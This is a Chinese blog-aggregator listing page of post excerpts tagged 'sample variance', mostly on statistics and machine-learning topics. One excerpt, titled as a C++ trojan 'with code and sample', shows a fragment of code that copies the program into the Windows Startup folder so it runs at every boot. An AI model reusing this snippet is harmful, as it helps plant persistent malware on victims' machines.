样本方差

图片风控NSFW(not suit for work)-2 基于tf2模型微调

（在上篇博客已经讲述了怎么将原始模型转换为tensorflow2模型）思路1将开源雅虎nsfw模型转换为tensorflow2，见tensorflow2模型重构2准备训练样本，正负样本（比例4:1~1:
晚点吧·2023-12-17 08:06

文本聚类——文本相似度（聚类算法基本概念）

一、文本相似度1.度量指标：两个文本对象之间的相似度两个文本集合之间的相似度文本对象与集合之间的相似度2.样本间的相似度基于距离的度量：欧氏距离曼哈顿距离切比雪夫距离闵可夫斯基距离马氏距离杰卡德距离基于夹角余弦的度量公式
星宇星静·2023-12-17 08:18

CGAL 点云边界提取

目录一、算法概述1、主要函数2、参考文献二、代码实现三、结果展示一、算法概述  使用Voronoi协方差度量检测点云的尖锐边缘特征点。
点云侠·2023-12-17 08:38

一个人的选择幻想症

一个是用概率论描述均值方差模型，一个是远期和期货的区别。我竟然脑炸地选了第一个，我不知道为什么，现在想来只想敲自己的脑袋。在快速选择下，我就选择了一个不利的问题。
高冷的冰淇淋·2023-12-17 07:04

机器学习中的分类算法详细介绍一（KNN、决策树）

算法关键知识：数据预处理（数据标准化）、K个邻居（需要由用户指定）、距离计算方式（需要考虑数据的特点）核心思想：物以类聚人以群分，空间相近则类别相似可以用于非数值类的统计数据的分类1.1算法流程①准备样本数据
摸鱼的机器猫·2023-12-17 07:21

数据处理三 数据类别平衡（难易样本平衡）

在使用paddlseg进行训练时常常会出现针对于某一类数据预测效果不佳，这些样本通常被称为难样本。
摸鱼的机器猫·2023-12-17 07:21

随机森林

随机是指随机选择样本，随机选择特征。即每一棵树是从整个训练样本集当中选取固定数量的样本集，然后选取固定数量的特征集，从而构建
三块给你买麻糬_31c3·2023-12-17 07:31

SPSS案例分析：配对样本的非参数检验的Wilcoxon符号秩检验

Wilcoxon符号秩检验不仅可以用于单个样本的中位数与总体中位数的比较，也可以用于成对样本差值的中位数与0的比较。
白小白的学习笔记·2023-12-17 06:22

G*Power使用方法详解，总结不易啊！！！！

G*power软件是由德国杜塞尔多夫大学几位乐于分享知识的老师开发的，专门用于统计功效（包括样本量）计算的免费统计软件，在心理学领域有着很高的声誉和认可度。
白小白的学习笔记·2023-12-17 06:22

假设检验实例

目录假设检验的基本思想假设检验的步骤显著性水平原假设与备择假设检验统计量检验中常说的小概率：P值：左侧检验与右侧检验双侧检验检验结果：单侧检验双侧检验总体均值检验统计量Ｚ值的计算公式为：Ｚ检验原理：Z检验实例1Z检验实例2T检验原理实现步骤T检验的三种形式单个样本的
llovew.·2023-12-17 06:49

方差分析实例

目录方差分析步骤相关概念基本思想随机误差系统误差组内方差组间方差方差的比较方差分析的前提1.每个总体都应服从正态分布2.各个总体的方差必须相同3.观察值是独立的原假设成立备择假设成立单因素方差分析提出假设检验的统计量水平的均值全部观察值的总均值总误差平方和
llovew.·2023-12-17 06:49

聚类分析实例

K-Means算法实例K值对结果的影响DBSCAN算法算法步骤基本步骤工作流程参数选择层次聚类概述层次聚类（HierarchicalClustering）是一种无监督学习的聚类分析方法，用于将数据集中的样本或观测值划分为不同的群集或簇
llovew.·2023-12-17 06:45

超强C++木马病毒（含代码，样本）

#include#include#include#include#include#includeusingnamespacestd;intmain(){charcopy[80];sprintf(copy,"copy%s\"%%userprofile%%\\「开始」菜单\\程序\\启动\"");system(copy);//将这个bai程序拷到du开机启动文件夹下面zhicharcmd[]="shu
一只贴代码君（yaosicheng）·2023-12-17 06:35

机器学习三大基本要素学习准则

学习准则令训练集=是由N个独立同分布的样本组成，即每个样本(,y)∈X×Y是从X和Y的联合空间中按照某个未知分布P(,y)独立地随机产生的。
白牛DATA·2023-12-17 04:04

实操干货|如何将自信思考融入生活（上）——合理确定目标

电影《华尔街之狼》剧照01不知道你们有没有过类似这样的经历，比如，大一期末考试考高数，还没等老师收卷子，就觉得大事不妙，因为清楚大概率下自己的高数要挂，当时的心情可能就像是这样本来想直接假设你们高数挂了
长颈鹿学长·2023-12-17 03:07

AdaBoost 详解

AdaBoost是英文"AdaptiveBoosting"（自适应增强）的缩写，它的自适应在于：前一个基本分类器被错误分类的样本的权值会增大，而正确分类的样本的权值会减小，并再次用来训练下一个基本分类器
Gowi_fly·2023-12-17 03:47

K-means 算法

K-means算法算法过程描述随机选取k个点作为簇的中心对于每一个样本的计算到中心的距离，并将样本分到最近的簇中更新簇的中心位置重复上述2-3步，直至簇的中心位置不在发生改变其中目标函数为J=∑i=1N
Gowi_fly·2023-12-17 03:17

假设检验（超详细）

假设检验什么是假设检验假设检验（hypothesistesting）是指从对总体参数所做的一个假设开始，然后搜集样本数据，计算出样本统计量，进而运用这些数据测定假设的总体参数在多大程度上是可靠的，并做出承认还是拒绝该假设的判断
何叔傲·2023-12-17 02:42

模糊C均值聚类简述

通过优化目标函数得到每个样本点对所有类中心的隶属度，从而决定样本点的类属以达到自动对样本数据进行分类的目的。无监督机器学习的主要技术之一。
vendetta_gg·2023-12-17 02:19

fuzzy clustering(模糊(C_均值)聚类)

目录概述隶属度矩阵模糊聚类算法步骤概述k-means属于一种硬聚类的方法，也就是说一个样本属于哪个类了后，他就是哪个类别的了，非此即彼；模糊聚类意味着样本不再是刚性的属于某一类别了，而是给出其属于各个类别的概率
身影王座·2023-12-17 02:47

模糊C均值聚类（Fuzzy C-means）算法（FCM）

FCM算法简介1、模糊集理论L.A.Zadeh在1965年最早提出模糊集理论，在该理论中，针对传统的硬聚类算法其隶属度值非0即1的严格隶属关系，使用模糊集合理论，将原隶属度扩展为0到1之间的任意值，一个样本可以以不同的隶属度属于不同的簇集
helloWorldZMY·2023-12-17 02:06

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（六）

系列文章目录基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（一）基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别
小胡说人工智能·2023-12-17 01:07

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（五）

系列文章目录基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（一）基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别
小胡说人工智能·2023-12-17 01:36

基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（四）

系列文章目录基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别—深度学习算法应用(含全部工程源码)+数据集+模型（一）基于CNN+数据增强+残差网络Resnet50的少样本高准确度猫咪种类识别
小胡说人工智能·2023-12-17 01:35

loss function

https://borgwang.github.io/ml/2019/08/12/loss-functions-in-ml.html均方差损失MeanSquaredErrorLoss：在模型输出与真实值的误差服从高斯分布的假设下
log1302·2023-12-17 01:52

交叉验证

在给定的建模样本中，拿出大部分样本进行建模型，留小部分样本用刚建立的模型进行预报，并求这小部分样本的预报误差，记录它们的平方加和。这是百度百科对交叉验证的的解释。在我们的实际工作和生活中，时时
vbaSQL·2023-12-17 00:19

ConnSearch：如何对有限样本量进行功能连接分析？

摘要功能连接研究越来越多地转向机器学习方法，这些方法通常涉及拟合全连接组网络的分类器，然后进行事后解释分析，以确定最能预测因变量的神经相关因素。然而，这种传统的分析范式存在两个主要限制。首先，即使分类器完全准确，解释分析也可能无法识别因变量表示的所有模式。其次，即使分类器具有泛化性，通过解释分析得出的模式也可能无法复制。换句话说，这种传统方法可以生成有效的分类器，但难以实现大多数神经科学家的目标：
茗创科技·2023-12-17 00:11

实事求是容易吗 ？

比如，善恶、对错、好坏、你我…但客观事实确是往往不是如此，这基于我们取样的方式存在错误，只取平均数、取极端的样本、只俯视不仰视带来的错觉，让我们看待客观事实时，得出偏差极大或者完全错误的判断结论。
贾涛Jerry·2023-12-16 23:32

机器学习中的相似性度量

在做分类时常常需要估算不同样本之间的相似性度量(SimilarityMeasurement)，这时通常采用的方法就是计算样本间的“距离”(Distance)。
myword1314·2023-12-16 23:30

统计学基础知识

2.样本：就是从总体中抽出的部分观察单位某项特征的集合。3.参数：是用于描述总体特征的指标，如总体均数（μ），总体标准差（σ）、总体率（π）、总体相关系数（ρ）。
灵海之森·2023-12-16 23:45

机器学习中的混淆矩阵

如果每个类中的样本数量不等，或者数据集中有两个以上的类，则仅用分类准确率作为评判标准的话可能会产生误导。计算混淆矩阵可以让我们更好地了解分类模型的表现情况以及它所犯的错误的类型。
yangzhibo124·2023-12-16 22:13

根据马科维兹Markowitz理论计算资产组合的比例, 2022-06-22

(2022.06.22Wed)Markowitz在20世纪50年代引进了均值-方差模型成了现代证券组合理论的基石。
Mc杰夫·2023-12-16 22:41

【分享】“小鹅通“在集简云平台集成应用的常见问题与解决方案

1.小鹅通订单支付后触发动作获取不到样本数据怎么办？小鹅通推送开启步骤：1.进入小鹅云选择对应的店铺2.权限管理3.消息订阅（开启需要推送的功能）2.小鹅通出现全局返回码了怎么办？
集简云-软件连接神器·2023-12-16 20:43

微信小程序跳坑（一）Do not have formSubmit handler in current page

仔细对照样本源码.一直在找wxml的问题却没有对照js里的函数。对照后才发现这样的函数formSubmit:function(e){},没有定义，那表单的注册肯定不能提交了呀。
Nevercold·2023-12-16 19:29

判断两个数组的相似性

3.知乎(1.距离度量（欧几里得，曼哈顿距离等，参考机器学习中的相似度度量），非常的全2.余弦相似度3.正态分布（均值方差），分布未知（卡方检验、KS
无敌三角猫·2023-12-16 19:20

聚类算法模型的概念、评估及应用

聚类是一种无监督学习方法，其目标是将数据集中的样本分成不同的组别，使得同一组内的样本相似度较高，而不同组之间的样本相似度较低。聚类算法模型通常通过计算样本之间的相似度或距离来实现这一目标。
rubyw·2023-12-16 19:09

GEE机器学习——利用支持向量机SVM进行土地分类和精度评定

SVM的目标是找到一个最优的超平面，将不同类别的样本点分隔开来，使得两个类别的间隔最大化。具体来说，SVM通过寻找支持向量（即距离超平面最近的样本点），确定决策边界，并根据支持向量的位置进行分类。
此星光明·2023-12-16 19:06

数据分析为何要学统计学（9）——总体不服从正态分布时使用什么假设检验方法？

大多数情况下，我们都假设样本所在总体服从正态分布，然后使用t检验、方差分析等假设检验方法。
interbigdata·2023-12-16 18:59

Audio signal (MATLAB)代码学习-常见问题2

问题描述定义信号采样频率为16kHz，生成一个长度为1s，频率为1000Hz，幅度为0.5的信号y_1生成信号y_2，要求：时域长度为1s，100个样本为间隔，幅度0.7，并使用一个滤波器H(z)=1−
CCC_bi·2023-12-16 18:51

FFPE样本的核酸提取

01样本切片石蜡样本在提取前需要进行切片处理，一般需要5-6个切片，一片镜检确定肿瘤细胞含量，其他进行后续提取处理。切片的薄厚程度对后续观察和提取会有一定影响。
evolisgreat·2023-12-16 18:10

GEE机器学习——利用梯度决策树Gradient Tree Boost 方法（GBDT/GBRT）进行土地分类和精度测试

GradientTreeBoost方法的具体步骤如下：1.数据准备：收集并准备用于训练的数据集，确保数据集包含标记好的样本点。2.初始化模型：将初始模型设置为一个
此星光明·2023-12-16 18:45

分类（四）—— 支持向量机

主要内容分类概述决策树归纳K近邻算法支持向量机朴素贝叶斯分类模型评估与选择组合分类小结四、支持向量机支持向量机（SupportVetorMachine，SVM）由Vapnik等人于1995年首先提出，在解决小样本
shi_jiaye·2023-12-16 17:42

新版TCGA的突变SNP数据下载和整理

现在的情况是每个样本都是一个单独的maf文件，需要下载后自己整理，就像整理表达矩阵那样。
医学和生信笔记·2023-12-16 17:57

Pytorch中Group Normalization的具体实现

GroupNormalization(GN)是一种用于深度神经网络中的归一化方法，它将每个样本划分为小组，并在每个小组内进行标准化。
温柔的行子·2023-12-16 16:39

5. PyTorch——数据处理模块

数据集对象被抽象为Dataset类，实现自定义的数据集需要继承Dataset，并实现两个Python魔法方法：__getitem__：返回一条数据，或一个样本。obj[index]等价于obj.
沉住气CD·2023-12-16 16:06

03 第四章 2

定义：一颗[决策树]包含一个根节点、若干个内部节点和若干个叶节点；叶节点：对应决策结果，即样本的label根+内部节点：对应一个分割[数据集]方法，根据该方法将节点对应的数据集划分到子节点中。
罐罐儿111·2023-12-16 16:07

学习日语你会分辨外来词么？咦！日语中的外来语原来可以分辨！

日语中像ラジオ（广播）这样本来从意识上可以分辨它就是外语的单词很多，但是，像キセル（烟袋）和カボチャ（南瓜）（同为柬埔寨语）、サラ
MissZhang壹壹·2023-12-16 15:26

LabVIEW进行癌症预测模型研究

使用诊断乳腺癌数据集包含699个样本，9个变量。数据集中的样本被标注为恶性
LabVIEW开发·2023-12-16 15:56

2022-09-11优势星球复盘

今天去某个爱婴岛里面主持游泳比赛T（当时最难的是什么）：由于前期领导和店长之间沟通不顺畅，导致到了现场后我差点跟店长吵起来（她觉得我们没有做好招募以及拿礼品过来），可能我的话术又说你们我们，没有建立我们思维，导致双方差点吵起来
莹姐姐ying·2023-12-16 15:33

AtCoder Beginner Contest 332

E-Luckybag(简单状态压缩dp）题目链接题意：给你n个物品，m个福袋，让你将这n个物品用m个福袋打包(福袋可以为空），让分完之后的总方差最小，输出最小方差。
顾客言·2023-12-16 15:12
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